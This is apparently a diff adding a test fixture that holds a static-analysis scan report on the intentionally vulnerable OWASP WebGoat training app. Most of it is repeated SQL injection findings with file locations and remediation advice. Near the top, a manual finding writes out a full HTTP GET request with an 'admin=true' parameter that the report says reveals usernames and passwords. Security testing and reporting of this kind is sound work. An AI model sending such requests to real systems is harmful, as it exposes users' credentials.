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</data>\n</screenshot>\n<code>The
+        following GET request will display the username and password for users within
+        the application.\n\nGET /WebGoat/attack?Screen=1073550134&amp;menu=2000&amp;admin=true
+        HTTP/1.1\nHost: targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
+        rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nCookie: JSESSIONID=13984BA559044E0A4610D4AC31B06B27\n</code></appendix></flaw></manualflaws></cwe></category></severity><severity
+        level=\"4\"><category categoryid=\"19\" categoryname=\"SQL Injection\" pcirelated=\"false\"><desc><para
+        text=\"SQL injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct a SQL query.
+        \ This allows an attacker to manipulate database queries in order to access,
+        modify, or delete arbitrary data.  Depending on the platform, database type,
+        and configuration, it may also be possible to execute administrative operations
+        on the database, access the filesystem, or execute arbitrary system commands.
+        \ SQL injection attacks can also be used to subvert authentication and authorization
+        schemes, which would enable an attacker to gain privileged access to restricted
+        portions of the application.\"/></desc><recommendations><para text=\"Several
+        techniques can be used to prevent SQL injection attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a SQL injection vulnerability.\"><bulletitem text=\"Use parameterized prepared
+        statements rather than dynamically constructing SQL queries.  This will prevent
+        the database from interpreting the contents of bind variables as part of the
+        query and is the most effective defense against SQL injection.\"/><bulletitem
+        text=\"Validate user-supplied input using positive filters (white lists) to
+        ensure that it conforms to the expected format, using centralized data validation
+        routines when possible. \"/><bulletitem text=\"Normalize all user-supplied
+        data before applying filters or regular expressions, or submitting the data
+        to a database. This means that all URL-encoded (%xx), HTML-encoded (&amp;#xx;),
+        or other encoding schemes should be reduced to the internal character representation
+        expected by the application. This prevents attackers from using alternate
+        encoding schemes to bypass filters.\"/><bulletitem text=\"When using database
+        abstraction libraries such as Hibernate, do not assume that all methods exposed
+        by the API will automatically prevent SQL injection attacks.  Most libraries
+        contain methods that pass arbitrary queries to the database in an unsafe manner.\"/></para></recommendations><cwe
+        cweid=\"89\" cwename=\"Improper Neutralization of Special Elements used in
+        an SQL Command ('SQL Injection')\" pcirelated=\"false\" owasp=\"929\" sans=\"864\"><description><text
+        text=\"This database query contains a SQL injection flaw.  The function call
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input.  An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database.\"/></description><staticflaws><flaw severity=\"4\" categoryname=\"Improper
+        Neutralization of Special Elements used in an SQL Command ('SQL Injection')\"
+        count=\"1\" issueid=\"126\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.Statement.executeUpdate\"
+        description=\"This database query contains a SQL injection flaw. The call
+        to java.sql.Statement.executeUpdate() constructs a dynamic SQL query using
+        a variable derived from user-supplied input. An attacker could exploit this
+        flaw to execute arbitrary SQL queries against the database. The first argument
+        to executeUpdate() contains tainted data from the variable arrSQL. The tainted
+        data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"106\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"26\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"91\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable arrSQL. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"113\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"236\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BlindSqlInjection.java\"
+        line=\"122\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BlindSqlInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"148\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"220\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"66\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"26\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"245\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable insertData1. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"134\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"206\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"148\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.Login\" functionprototype=\"byte
+        login(session.WebSession, int, java.lang.String)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"75\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"149\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login(session.WebSession, java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"106\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"191\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login_BACKUP(session.WebSession, java.lang.String,
+        java.lang.String)\" functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"247\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlNumericInjection.java\"
+        line=\"130\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlNumericInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"165\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlStringInjection.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlStringInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"225\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
